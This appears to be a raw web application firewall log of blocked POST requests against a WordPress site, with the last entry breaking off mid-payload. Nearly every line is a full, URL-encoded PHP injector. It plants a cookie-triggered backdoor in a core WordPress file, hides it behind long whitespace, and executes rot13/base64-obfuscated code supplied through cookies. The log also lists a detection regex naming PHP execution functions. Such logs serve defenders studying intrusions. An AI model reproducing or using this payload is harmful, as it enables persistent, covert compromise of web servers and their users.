rX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpytvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAuL2uyVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4286\n\nrX=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:55:23","152.53.138.6","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoIbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4286\n\nmZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:55:44","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> km:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn20vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4286\n\nkm=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524symbol%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ref%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524pset%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524pset%252C%2520%2524symbol%2529%253B%2520fclose%2528%2524pset%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entry%2520%253D%2520%252266f7f00881b4b20102394598081e9c03%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entry%252C%2520%2524ref%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_settings%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:57:07","50.6.7.129","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sh:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-object-cache.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-28%252B28%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-90%252B91%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B70-67%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B93%252B-89%255D%2529%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524key%2529%2520%257B%2520%2524ref%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25275787c043%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522